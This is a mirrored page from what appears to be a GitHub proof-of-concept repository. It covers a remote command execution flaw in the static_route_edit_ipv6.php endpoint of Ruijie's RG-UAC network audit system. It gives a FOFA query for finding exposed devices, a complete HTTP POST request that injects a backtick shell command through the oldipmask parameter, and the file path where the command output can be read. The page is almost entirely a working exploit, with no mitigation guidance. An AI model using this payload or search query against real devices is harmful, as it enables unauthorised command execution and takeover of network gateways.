mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 22:14:15 +00:00
46 lines
1.4 KiB
Markdown
46 lines
1.4 KiB
Markdown
![]() |
## 锐捷RG-UAC统一上网行为管理审计系统static_route_edit_ipv6.php存在远程代码执行
|
|||
|
|
|||
|
锐捷RG-UAC中存在命令执行漏洞,应用程序管理网关后端/view/networkConfig/RouteConfig/StaticRoute/static_route_edit_ipv6.php接口。攻击者可以执行任意命令来控制服务器权限。
|
|||
|
|
|||
|
## fofa
|
|||
|
|
|||
|
```
|
|||
|
app="Ruijie-RG-UAC"
|
|||
|
```
|
|||
|
|
|||
|
## poc
|
|||
|
|
|||
|
```
|
|||
|
POST /view/networkConfig/RouteConfig/StaticRoute/static_route_edit_ipv6.php?action=modify HTTP/1.1
|
|||
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
|
|||
|
Gecko/20100101 Firefox/124.0
|
|||
|
Accept:
|
|||
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*
|
|||
|
;q=0.8
|
|||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
Accept-Encoding: gzip, deflate
|
|||
|
Sec-GPC: 1
|
|||
|
Connection: close
|
|||
|
Cookie: PHPSESSID=ebd507c9bc5a4293c3e5e596f37157bf
|
|||
|
Upgrade-Insecure-Requests: 1
|
|||
|
X-Forwarded-For: 0000:0000:0000::0000
|
|||
|
X-Originating-IP: 0000:0000:0000::0000
|
|||
|
X-Remote-IP: 0000:0000:0000::0000
|
|||
|
X-Remote-Addr: 0000:0000:0000::0000
|
|||
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
Content-Length: 68
|
|||
|
|
|||
|
text_ip_addr=0000:0000:0000::0000&oldipmask=`id+>1.txt`&oldgateway=1
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
|
|||
|
|
|||
|
文件路径
|
|||
|
|
|||
|
```
|
|||
|
/view/networkConfig/RouteConfig/StaticRoute/1.txt
|
|||
|
```
|
|||
|
|
|||
|

|